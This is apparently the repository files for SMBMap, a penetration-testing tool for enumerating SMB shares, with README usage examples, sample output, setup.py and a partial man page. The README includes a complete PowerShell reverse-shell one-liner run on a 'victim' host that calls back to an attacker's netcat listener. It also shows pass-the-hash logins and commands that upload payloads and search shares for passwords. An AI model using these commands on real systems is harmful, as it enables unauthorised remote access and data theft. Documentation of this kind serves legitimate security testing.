15 | smbmap
16 | usage: smbmap [-h] (-H HOST | --host-file FILE) [-u USERNAME] [-p PASSWORD | --prompt] [-s SHARE] [-d DOMAIN]
17 | [-P PORT] [-v] [--admin] [--no-banner] [--no-color] [--no-update] [-x COMMAND] [--mode CMDMODE]
18 | [-L | -r [PATH]] [-A PATTERN | -g FILE | --csv FILE] [--dir-only] [--no-write-check]
19 | [-q] [--depth DEPTH] [--exclude SHARE [SHARE ...]] [-F PATTERN] [--search-path PATH]
20 | [--search-timeout TIMEOUT] [--download PATH] [--upload SRC DST] [--delete PATH TO FILE] [--skip]
21 | ...
22 | ```
23 |
24 | ## Features:
25 | - Pass-the-Hash Support
26 | - File upload/download/delete
27 | - Permission enumeration (writable share, meet Metasploit)
28 | - Remote Command Execution
29 | - Distrubted file content searching (beta!)
30 | - File name matching (with an auto downoad capability)
31 | - Host file parser supports IPs, host names, and CIDR
32 | - SMB sigining detection
33 | - Server version output
34 | - Kerberos support! (super beta)
35 |
36 | ## Help
37 | ```
38 | usage: smbmap.py [-h] (-H HOST | --host-file FILE) [-u USERNAME] [-p PASSWORD | --prompt] [-k] [--no-pass] [--dc-ip IP or Host] [-s SHARE] [-d DOMAIN] [-P PORT] [-v] [--signing] [--admin] [--no-banner] [--no-color] [--no-update]
39 | [--timeout SCAN_TIMEOUT] [-x COMMAND] [--mode CMDMODE] [-L | -r [PATH]] [-g FILE | --csv FILE] [--dir-only] [--no-write-check] [-q] [--depth DEPTH] [--exclude SHARE [SHARE ...]] [-A PATTERN] [-F PATTERN]
40 | [--search-path PATH] [--search-timeout TIMEOUT] [--download PATH] [--upload SRC DST] [--delete PATH TO FILE] [--skip]
41 |
42 | ________ ___ ___ _______ ___ ___ __ _______
43 | /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
44 | (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
45 | \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
46 | __/ \ |: \. |(| _ \ |: \. | // __' \ (| /
47 | /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
48 | (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
49 | -----------------------------------------------------------------------------
50 | SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
51 | https://github.com/ShawnDEvans/smbmap
52 |
53 | options:
54 | -h, --help show this help message and exit
55 |
56 | Main arguments:
57 | -H HOST IP or FQDN
58 | --host-file FILE File containing a list of hosts
59 | -u USERNAME, --username USERNAME
60 | Username, if omitted null session assumed
61 | -p PASSWORD, --password PASSWORD
62 | Password or NTLM hash, format is LMHASH:NTHASH
63 | --prompt Prompt for a password
64 | -s SHARE Specify a share (default C$), ex 'C$'
65 | -d DOMAIN Domain name (default WORKGROUP)
66 | -P PORT SMB port (default 445)
67 | -v, --version Return the OS version of the remote host
68 | --signing Check if host has SMB signing disabled, enabled, or required
69 | --admin Just report if the user is an admin
70 | --no-banner Removes the banner from the top of the output
71 | --no-color Removes the color from output
72 | --no-update Removes the "Working on it" message
73 | --timeout SCAN_TIMEOUT
74 | Set port scan socket timeout. Default is .5 seconds
75 |
76 | Kerberos settings:
77 | -k, --kerberos Use Kerberos authentication
78 | --no-pass Use CCache file (export KRB5CCNAME='~/current.ccache')
79 | --dc-ip IP or Host IP or FQDN of DC
80 |
81 | Command Execution:
82 | Options for executing commands on the specified host
83 |
84 | -x COMMAND Execute a command ex. 'ipconfig /all'
85 | --mode CMDMODE Set the execution method, wmi or psexec, default wmi
86 |
87 | Shard drive Search:
88 | Options for searching/enumerating the share of the specified host(s)
89 |
90 | -L List all drives on the specified host, requires ADMIN rights.
91 | -r [PATH] Recursively list dirs and files (no share\path lists the root of ALL shares), ex. 'email/backup'
92 | -g FILE Output to a file in a grep friendly format, used with -r (otherwise it outputs nothing), ex -g grep_out.txt
93 | --csv FILE Output to a CSV file, ex --csv shares.csv
94 | --dir-only List only directories, ommit files.
95 | --no-write-check Skip check to see if drive grants WRITE access.
96 | -q Quiet verbose output. Only shows shares you have READ or WRITE on, and suppresses file listing when performing a search (-A).
97 | --depth DEPTH Traverse a directory tree to a specific depth. Default is 1 (root node).
98 | --exclude SHARE [SHARE ...]
99 | Exclude share(s) from searching and listing, ex. --exclude ADMIN$ C$'
100 | -A PATTERN Define a file name pattern (regex) that auto downloads a file on a match (requires -r), not case sensitive, ex '(web|global).(asax|config)'
101 |
102 | File Content Search:
103 | Options for searching the content of files (must run as root), kind of experimental
104 |
105 | -F PATTERN File content search, -F '[Pp]assword' (requires admin access to execute commands, and PowerShell on victim host)
106 | --search-path PATH Specify drive/path to search (used with -F, default C:\Users), ex 'D:\HR\'
107 | --search-timeout TIMEOUT
108 | Specifcy a timeout (in seconds) before the file search job gets killed. Default is 300 seconds.
109 |
110 | Filesystem interaction:
111 | Options for interacting with the specified host's filesystem
112 |
113 | --download PATH Download a file from the remote system, ex.'C$\temp\passwords.txt'
114 | --upload SRC DST Upload a file to the remote system ex. '/tmp/payload.exe C$\temp\payload.exe'
115 | --delete PATH TO FILE
116 | Delete a remote file, ex. 'C$\temp\msf.exe'
117 | --skip Skip delete file confirmation prompt
118 |
119 | Examples:
120 |
121 | $ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1
122 | $ python smbmap.py -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20
123 | $ python smbmap.py -u 'apadmin' -p 'asdf1234!' -d ACME -Hh 10.1.3.30 -x 'net group "Domain Admins" /domain'
124 | ```
125 |
126 | ## Default Output:
127 | ```
128 | $ ./smbmap.py -H 192.168.86.214 -u Administrator -p asdf1234
129 |
130 | ________ ___ ___ _______ ___ ___ __ _______
131 | /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
132 | (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
133 | \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
134 | __/ \ |: \. |(| _ \ |: \. | // __' \ (| /
135 | /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
136 | (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
137 | -----------------------------------------------------------------------------
138 | SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
139 | https://github.com/ShawnDEvans/smbmap
140 |
141 | [*] Detected 1 hosts serving SMB
142 | [*] Established 1 SMB connections(s) and 1 authentidated session(s)
143 |
144 | [+] IP: 192.168.86.214:445 Name: shawnevans-pc.lan Status: ADMIN!!!
145 | Disk Permissions Comment
146 | ---- ----------- -------
147 | ADMIN$ READ, WRITE Remote Admin
148 | C$ READ, WRITE Default share
149 | IPC$ NO ACCESS Remote IPC
150 | MS Publisher Color Printer NO ACCESS MS Publisher Color Printer
151 | print$ READ, WRITE Printer Drivers
152 | Temp READ, WRITE
153 | Users READ, WRITE
154 | ```
155 |
156 | ## Command execution:
157 | ```
158 | $ python smbmap.py -u ariley -p 'P@$$w0rd1234!' -d ABC -x 'net group "Domain Admins" /domain' -H 192.168.2.50
159 | [+] Finding open SMB ports....
160 | [+] User SMB session established...
161 | [+] IP: 192.168.2.50:445 Name: unknown
162 | Group name Domain Admins
163 | Comment Designated administrators of the domain
164 |
165 | Members
166 |
167 | -------------------------------------------------------------------------------
168 | abcadmin
169 | The command completed successfully.
170 | ```
171 |
172 | ## Non recursive path listing (ls):
173 | ```
174 | $ ./smbmap.py -H 192.168.86.214 -u Administrator -p asdf1234 -r c$ -q
175 |
176 | ________ ___ ___ _______ ___ ___ __ _______
177 | /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
178 | (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
179 | \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
180 | __/ \ |: \. |(| _ \ |: \. | // __' \ (| /
181 | /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
182 | (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
183 | -----------------------------------------------------------------------------
184 | SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
185 | https://github.com/ShawnDEvans/smbmap
186 |
187 | [*] Detected 1 hosts serving SMB
188 | [*] Established 1 SMB connections(s) and 1 authentidated session(s)
189 |
190 | [+] IP: 192.168.86.214:445 Name: shawnevans-pc.lan Status: ADMIN!!!
191 | Disk Permissions Comment
192 | ---- ----------- -------
193 | ADMIN$ READ, WRITE Remote Admin
194 | C$ READ, WRITE Default share
195 | ./C$
196 | dr--r--r-- 0 Wed Apr 22 14:50:29 2015 $Recycle.Bin
197 | fr--r--r-- 4284 Wed Oct 3 10:16:24 2018 ActivityLog.xsl
198 | dr--r--r-- 0 Tue Nov 21 10:47:06 2023 Config.Msi
199 | dr--r--r-- 0 Thu Apr 9 14:46:57 2015 Documents and Settings
200 | dr--r--r-- 0 Mon Feb 15 16:45:44 2021 iDEFENSE
201 | dr--r--r-- 0 Thu Sep 24 20:52:23 2015 nasm
202 | fr--r--r-- 2513149952 Tue Nov 21 13:21:16 2023 pagefile.sys
203 | dr--r--r-- 0 Thu Apr 9 14:46:48 2015 PerfLogs
204 | dw--w--w-- 0 Mon Oct 30 09:20:53 2023 Program Files
205 | dw--w--w-- 0 Fri Nov 17 03:27:46 2023 Program Files (x86)
206 | dr--r--r-- 0 Wed Jun 14 13:39:51 2023 ProgramData
207 | dr--r--r-- 0 Mon Oct 1 12:05:49 2018 Python27
208 | dr--r--r-- 0 Thu Apr 9 13:49:31 2015 Recovery
209 | dr--r--r-- 0 Thu Oct 15 13:04:27 2015 Scripts
210 | dr--r--r-- 0 Tue Nov 21 11:13:24 2023 System Volume Information
211 | fr--r--r-- 5194752 Mon Jan 18 11:12:13 2016 System.Management.Automation.dll
212 | fr--r--r-- 0 Fri May 19 13:51:42 2023 TBIWYRVUOD.txt
213 | dr--r--r-- 0 Thu Nov 23 13:04:51 2023 Temp
214 | fr--r--r-- 15812 Wed Oct 3 10:16:45 2018 temp.log
215 | fr--r--r-- 18 Thu Feb 13 15:55:55 2020 test.txt
216 | dr--r--r-- 0 Wed Jun 21 12:43:46 2023 Tools
217 | dw--w--w-- 0 Thu Nov 23 13:04:51 2023 Users
218 | dr--r--r-- 0 Thu Nov 23 13:04:51 2023 Windows
219 | print$ READ, WRITE Printer Drivers
220 | Temp READ, WRITE
221 | Users READ, WRITE
222 | ```
223 |
224 | ## Recursive listing
225 | ```
226 | $ ./smbmap.py -H 192.168.86.179 -u Administrator -p asdf1234 -r Tools --depth 2 --no-banner -q
227 | [*] Detected 1 hosts serving SMB
228 | [*] Established 1 SMB connections(s) and 1 authentidated session(s)
229 |
230 | [+] IP: 192.168.86.179:445 Name: desktop-m8n2dcc.lan Status: ADMIN!!!
231 | Disk Permissions Comment
232 | ---- ----------- -------
233 | ADMIN$ READ, WRITE Remote Admin
234 | C READ ONLY
235 | C$ READ, WRITE Default share
236 | IPC$ READ ONLY Remote IPC
237 | Tools READ, WRITE
238 | ./Tools
239 | dr--r--r-- 0 Fri Nov 24 08:51:45 2023 .
240 | dr--r--r-- 0 Fri Nov 24 08:51:45 2023 ..
241 | fr--r--r-- 0 Fri May 19 13:39:58 2023 AZNJSOWDQU
242 | dr--r--r-- 0 Mon May 15 15:34:30 2023 CVE-2020-0688_EXP
243 | fr--r--r-- 13821 Mon May 15 15:34:30 2023 Debug.txt
244 | dr--r--r-- 0 Mon May 15 15:34:30 2023 diskmon
245 | fr--r--r-- 13821 Mon May 15 15:34:30 2023 Errors.txt
246 | fr--r--r-- 0 Fri May 19 13:42:42 2023 GNDBLUQZMA.txt
247 | fr--r--r-- 0 Fri May 19 13:40:56 2023 HOQVWGAXEG
248 | fr--r--r-- 2833 Mon May 15 15:34:30 2023 kiwi_passwords.yar
249 | fr--r--r-- 2850 Mon May 15 15:34:30 2023 mimicom.idl
250 | dr--r--r-- 0 Mon May 15 15:34:30 2023 portmon
251 | dr--r--r-- 0 Mon May 15 15:34:30 2023 procexplorer
252 | dr--r--r-- 0 Mon May 15 15:34:30 2023 ProcMon
253 | fr--r--r-- 4951 Mon May 15 15:34:30 2023 README.md
254 | fr--r--r-- 4605 Mon May 15 15:34:30 2023 README.txt
255 | fr--r--r-- 0 Fri May 19 13:37:17 2023 RZFNUHSYET
256 | fr--r--r-- 123515 Mon May 15 15:34:30 2023 SharePoint - URL Extensions - 18MAR2012.pdf
257 | fr--r--r-- 2810 Mon May 15 15:34:30 2023 SharePoint-UrlExtensions-18Mar2012.txt
258 | fr--r--r-- 3028050 Mon May 15 15:34:30 2023 SharePointURLBrute v1.1.exe
259 | fr--r--r-- 8423 Mon May 15 15:34:30 2023 SharePointURLBrute v1.1.pl
260 | fr--r--r-- 116 Mon May 15 15:34:30 2023 UrlsFound.txt
261 | dr--r--r-- 0 Mon May 15 15:34:30 2023 Win32
262 | dr--r--r-- 0 Mon May 15 15:34:30 2023 x64
263 | dr--r--r-- 0 Mon May 15 15:34:30 2023 ysoserial
264 | ./Tools//CVE-2020-0688_EXP
265 | dr--r--r-- 0 Mon May 15 15:34:30 2023 .
266 | dr--r--r-- 0 Mon May 15 15:34:30 2023 ..
267 | dr--r--r-- 0 Mon May 15 15:34:30 2023 .git
268 | fr--r--r-- 4756 Mon May 15 15:34:30 2023 CVE-2020-0688_EXP.py
269 | fr--r--r-- 0 Mon May 15 15:34:30 2023 nopsec.test'
270 | fr--r--r-- 2169 Mon May 15 15:34:30 2023 README.md
271 | dr--r--r-- 0 Mon May 15 15:34:30 2023 ysoserial-1.32
272 |
273 | ```
274 |
275 | ## Recursive Filename Pattern Search
276 | ```
277 | $ ./smbmap.py -H 192.168.86.179 -u Administrator -p asdf1234 -r 'c$/program files' --depth 2 -A '(password|config)'
278 |
279 | ________ ___ ___ _______ ___ ___ __ _______
280 | /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
281 | (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
282 | \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
283 | __/ \ |: \. |(| _ \ |: \. | // __' \ (| /
284 | /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
285 | (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
286 | -----------------------------------------------------------------------------
287 | SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
288 | https://github.com/ShawnDEvans/smbmap
289 |
290 | [*] Detected 1 hosts serving SMB
291 | [*] Established 1 SMB connections(s) and 1 authentidated session(s)
292 | [*] Performing file name pattern match!.
293 | [+] Match found! Downloading: C$/program files/Amazon Web Services, Inc/Amazon WorkSpaces/Microsoft.Extensions.Configuration.Abstractions.dll
294 | [+] Starting download: C$\program files\Amazon Web Services, Inc\Amazon WorkSpaces\Microsoft.Extensions.Configuration.Abstractions.dll (21368 bytes)
295 | [+] File output to: /home/shawnevans/tools/smbmap/smbmap/192.168.86.179-C_program files_Amazon Web Services, Inc_Amazon WorkSpaces_Microsoft.Extensions.Configuration.Abstractions.dll
296 | [+] Match found! Downloading: C$/program files/Amazon Web Services, Inc/Amazon WorkSpaces/Microsoft.Extensions.Configuration.Binder.dll
297 | [+] Starting download: C$\program files\Amazon Web Services, Inc\Amazon WorkSpaces\Microsoft.Extensions.Configuration.Binder.dll (25464 bytes)
298 | [+] File output to: /home/shawnevans/tools/smbmap/smbmap/192.168.86.179-C_program files_Amazon Web Services, Inc_Amazon WorkSpaces_Microsoft.Extensions.Configuration.Binder.dll
299 | [+] Match found! Downloading: C$/program files/Amazon Web Services, Inc/Amazon WorkSpaces/Microsoft.Extensions.Configuration.dll
300 | [+] Starting download: C$\program files\Amazon Web Services, Inc\Amazon WorkSpaces\Microsoft.Extensions.Configuration.dll (27512 bytes)
301 | [+] File output to: /home/shawnevans/tools/smbmap/smbmap/192.168.86.179-C_program files_Amazon Web Services, Inc_Amazon WorkSpaces_Microsoft.Extensions.Configuration.dll
302 | [+] Match found! Downloading: C$/program files/Amazon Web Services, Inc/Amazon WorkSpaces/Microsoft.Extensions.Logging.Configuration.dll
303 | [+] Starting download: C$\program files\Amazon Web Services, Inc\Amazon WorkSpaces\Microsoft.Extensions.Logging.Configuration.dll (20344 bytes)
304 |
305 | ```
306 |
307 | ## Scan for SMB signing support
308 | ```
309 | $ ./smbmap.py --host-file local.txt --signing
310 |
311 | ________ ___ ___ _______ ___ ___ __ _______
312 | /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
313 | (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
314 | \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
315 | __/ \ |: \. |(| _ \ |: \. | // __' \ (| /
316 | /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
317 | (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
318 | -----------------------------------------------------------------------------
319 | SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
320 | https://github.com/ShawnDEvans/smbmap
321 |
322 | [*] Detected 3 hosts serving SMB
323 | [*] Established 3 SMB connections(s) and 2 authentidated session(s)
324 | [-] 192.168.86.204 signing enabled (not required)
325 | [!] 192.168.86.213 signing disabled
326 | [+] 192.168.86.179 signing required
327 | ```
328 | ## Get version info
329 | ```
330 | $ ./smbmap.py --host-file local.txt -v
331 |
332 | ________ ___ ___ _______ ___ ___ __ _______
333 | /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
334 | (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
335 | \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
336 | __/ \ |: \. |(| _ \ |: \. | // __' \ (| /
337 | /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
338 | (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
339 | -----------------------------------------------------------------------------
340 | SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
341 | https://github.com/ShawnDEvans/smbmap
342 |
343 | [*] Detected 3 hosts serving SMB
344 | [*] Established 3 SMB connections(s) and 2 authentidated session(s)
345 | [+] 192.168.86.204 is running Windows 6.1 Build 7601 (name:SHAWNEVANS-PC) (domain:SHAWNEVANS-PC)
346 | [+] 192.168.86.213 is running Windows 6.1 Build 7601 (name:SHAWNEVANS-PC) (domain:SHAWNEVANS-PC)
347 | [+] 192.168.86.179 is running Windows 10.0 Build 19041 (name:DESKTOP-M8N2DCC) (domain:DESKTOP-M8N2DCC)
348 |
349 | ```
350 | ## File Content Searching:
351 | ```
352 | $ python smbmap.py --host-file ~/Desktop/smb-workstation-sml.txt -u NopSec -p 'NopSec1234!' -d widgetworld -F '[1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]'
353 | [+] Finding open SMB ports....
354 | [+] User SMB session established on 192.168.0.99...
355 | [+] User SMB session established on 192.168.0.85...
356 | [+] User SMB session established on 192.168.0.89...
357 | [+] File search started on 1 hosts...this could take a while
358 | [+] Job 4650e5a97b9f4ca884613f4b started on 192.168.0.99, result will be stored at C:\Temp\4650e5a97b9f4ca884613f4b.txt
359 | [+] File search started on 2 hosts...this could take a while
360 | [+] Job e0c822a802eb455f96259f33 started on 192.168.0.85, result will be stored at C:\Windows\TEMP\e0c822a802eb455f96259f33.txt
361 | [+] File search started on 3 hosts...this could take a while
362 | [+] Job 0a5d352bf2bd4e288e0f8f36 started on 192.168.0.89, result will be stored at C:\Temp\0a5d352bf2bd4e288e0f8f36.txt
363 | [+] Grabbing search results, be patient, share drives tend to be big...
364 | [+] Job 1 of 3 completed on 192.168.0.85...
365 | [+] File successfully deleted: C$\Windows\TEMP\e0c822a802eb455f96259f33.txt
366 | [+] Job 2 of 3 completed on 192.168.0.89...
367 | [+] File successfully deleted: C$\Temp\0a5d352bf2bd4e288e0f8f36.txt
368 | [+] Job 3 of 3 completed on 192.168.0.99...
369 | [+] File successfully deleted: C$\Temp\4650e5a97b9f4ca884613f4b.txt
370 | [+] All jobs complete
371 | Host: 192.168.0.85 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
372 | No matching patterns found
373 |
374 | Host: 192.168.0.89 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
375 | C:\Users\terdf\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JY5MGKVO\salesmaps[1].htm
376 | C:\Users\terdf\OldFiles\Cache_2013522\Content.IE5\JY5MGKVO\salesmaps[1].htm
377 |
378 | Host: 192.168.0.99 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
379 | C:\Users\biffh\AppData\Local\Microsoft\Internet Explorer\DOMStore\L7W17OPZ\static.olark[1].xml
380 | C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\MIY2POGJ\validation[2].js
381 | C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\NV1MNBWA\Docs[1].htm
382 | C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\NV1MNBWA\Salesmaps[1].htm
383 | ```
384 |
385 | ## Drive Listing:
386 | This feature was added to complement the file content searching feature
387 |
388 | ```
389 | $ python smbmap.py -H 192.168.1.24 -u Administrator -p 'R33nisP!nckle' -L
390 | [!] Missing domain...defaulting to WORKGROUP
391 | [+] Finding open SMB ports....
392 | [+] User SMB session established...
393 | [+] IP: 192.168.1.24:445 Name: unknown
394 | [+] Host 192.168.1.24 Local Drives: C:\ D:\
395 | [+] Host 192.168.1.24 Net Drive(s):
396 | E: \\vboxsrv\Public VirtualBox Shared Folders
397 | ```
398 |
399 |
400 |
401 | ## Nifty Shell:
402 | Run Powershell Script on Victim SMB host (change the IP in the code to your IP addres, i.e where the shell connects back to)
403 | ```
404 | $ python smbmap.py -u jsmith -p 'R33nisP!nckle' -d ABC -H 192.168.2.50 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.153""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"'
405 | [+] Finding open SMB ports....
406 | [+] User SMB session established...
407 | [+] IP: 192.168.2.50:445 Name: unkown
408 | [!] Error encountered, sharing violation, unable to retrieve output
409 | ```
410 |
411 | ## Attackers Netcat Listener:
412 | ```
413 | $ nc -l 4445
414 | Microsoft Windows [Version 6.1.7601]
415 | Copyright (c) 2009 Microsoft Corporation. All rights reserved.
416 |
417 | C:\Windows\system32>whoami
418 | nt authority\system
419 | ```
420 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 |
2 | import setuptools
3 |
4 | with open("README.md", "r", encoding = "utf-8") as fh:
5 | long_description = fh.read()
6 |
7 | setuptools.setup(
8 | name = "smbmap",
9 | version = "1.10.7",
10 | author = "ShawnDEvans",
11 | author_email = "ShawnDEvans@gmail.com",
12 | description = " SMBMap is a handy SMB enumeration tool ",
13 | long_description = long_description,
14 | long_description_content_type = "text/markdown",
15 | url = "https://github.com/ShawnDEvans/smbmap",
16 | project_urls = {
17 | "Bug Tracker": "https://github.com/ShawnDEvans/smbmap/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc",
18 | },
19 | classifiers = [
20 | "Programming Language :: Python :: 3",
21 | "License :: OSI Approved :: GNU General Public License v3 (GPLv3)",
22 | "Operating System :: OS Independent",
23 | ],
24 | packages =[ "smbmap" ],
25 | python_requires = ">=3.6",
26 | install_requires = [
27 | 'impacket',
28 | 'pyasn1',
29 | 'pycryptodome',
30 | 'configparser',
31 | 'termcolor',
32 | ],
33 | entry_points={
34 | 'console_scripts': [
35 | 'smbmap=smbmap.smbmap:main'
36 | ]
37 | },
38 | )
39 |
--------------------------------------------------------------------------------
/smbmap.1:
--------------------------------------------------------------------------------
1 | .TH SMBMAP "1" "January 2025" "smbmap 1.10.7" "User Commands"
2 | .SH NAME
3 | smbmap \- SMB enumeration tool
4 | .SH SYNOPSIS
5 | \fBsmbmap \fI[-h] (-H HOST | --host-file FILE) [-u USERNAME] [-p PASSWORD |--prompt] [-s SHARE] [-d DOMAIN]
6 | [-P PORT] [-v] [--admin] [--no-banner] [--no-color] [--no-update] [-x COMMAND][--mode CMDMODE]
7 | [-L | -r [PATH]] [-A PATTERN | -g FILE | --csv FILE] [--dir-only][--no-write-check]
8 | [-q] [--depth DEPTH] [--exclude SHARE [SHARE ...]] [-F PATTERN] [--search-path PATH]
9 | [--search-timeout TIMEOUT] [--download PATH] [--upload SRC DST] [--delete PATH TO FILE] [--skip]\fR
10 | .IP
11 | .SH DESCRIPTION
12 | SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind, and is intended to simplify searching for potentially sensitive data across large networks.
13 | .SH OPTIONS
14 | .SS "Main arguments:"
15 | .TP
16 | \fB\-H\fR HOST
17 | IP of host
18 | .TP
19 | \fB\-\-host\-file\fR FILE
20 | File containing a list of hosts
21 | .TP
22 | \fB\-u\fR USERNAME, \fB\-\-username\fR USERNAME
23 | Username, if omitted null session assumed
24 | .TP
25 | \fB\-p\fR PASSWORD, \fB\-\-password\fR PASSWORD
26 | Password or NTLM hash
27 | .TP
28 | \fB\-\-prompt\fR
29 | Prompt for a password
30 | .TP
31 | \fB\-s\fR SHARE
32 | Specify a share (default C$), ex 'C$'
33 | .TP
34 | \fB\-d\fR DOMAIN
35 | Domain name (default WORKGROUP)
36 | .TP
37 | \fB\-P\fR PORT
38 | SMB port (default 445)
39 | .TP
40 | \fB\-v\fR, \fB\-\-version\fR
41 | Return the OS version of the remote host
42 | .TP
43 | \fB\-\-signing\fR
44 | Check if host has SMB signing disabled, enabled, or required
45 | .TP
46 | \fB\-\-admin\fR
47 | Just report if the user is an admin
48 | .TP
49 | \fB\-\-no\-banner\fR
50 | Removes the banner from the top of the output
51 | .TP
52 | \fB\-\-no\-color\fR
53 | Removes the color from output
54 | .TP
55 | \fB\-\-no\-update\fR
56 | Removes the "Working on it" message
57 | .TP
58 | \fB\-\-timeout\fR SCAN_TIMEOUT
59 | Set port scan socket timeout. Default is .5 seconds
60 | .SS "Kerberos settings:"
61 | .TP
62 | \fB\-k\fR, \fB\-\-kerberos\fR
63 | Use Kerberos authentication
64 | .TP
65 | \fB\-\-no\-pass\fR
66 | Use CCache file (export KRB5CCNAME='~/current.ccache')
67 | .TP
68 | \fB\-\-dc\-ip\fR IP or \fBHost\fR
69 | IP or FQDN of DC
70 | .SS "Command Execution:"
71 | .IP
72 | Options for executing commands on the specified host
73 | .TP
74 | \fB\-x\fR COMMAND
75 | Execute a command ex. 'ipconfig /all'
76 | .TP
77 | \fB\-\-mode\fR CMDMODE
78 | Set the execution method, wmi or psexec, default wmi
79 | .SS "Shard drive Search:"
80 | .IP
81 | Options for searching/enumerating the filesystem of the specified host
82 | .TP
83 | \fB\-L\fR
84 | List all drives on the specified host, requires ADMIN rights.
85 | .TP
86 | \fB\-r\fR [PATH]
87 | Recursively list dirs and files (no share\path lists the root of ALL shares), ex. 'email/backup'
88 | .TP
89 | \fB\-g\fR FILE
90 | Output to a file in a grep friendly format, used with -r (otherwise it outputs
91 | nothing), ex -g grep_out.txt
92 | .TP
93 | \fB\-A\fR PATTERN
94 | Define a file name pattern (regex) that auto downloads
95 | a file on a match (requires \fB\-r\fR), not case
96 | sensitive, ex '(web|global).(asax|config)'
97 | .TP
98 | \fB\-\-csv\fR FILE
99 | Output to a CSV file, ex --csv shares.csv
100 | .TP
101 | \fB\-\-dir\-only\fR
102 | List only directories, omit files
103 | .TP
104 | \fB\-\-no\-write\-check\fR
105 | Skip check to see if drive grants WRITE access
106 | .TP
107 | \fB\-q\fR
108 | Quiet verbose output. Only shows shares you have
109 | READ or WRITE on, and suppresses file listing when
110 | performing a search (\fB\-A\fR).
111 | .TP
112 | \fB\-\-depth\fR DEPTH
113 | Traverse a directory tree to a specific depth. Default is 1 (root node).
114 | .TP
115 | \fB\-\-exclude\fR SHARE [SHARE ...]
116 | Exclude share(s) from searching and listing, ex. --exclude ADMIN$ C$'
117 | .SS "File Content Search:"
118 | .IP
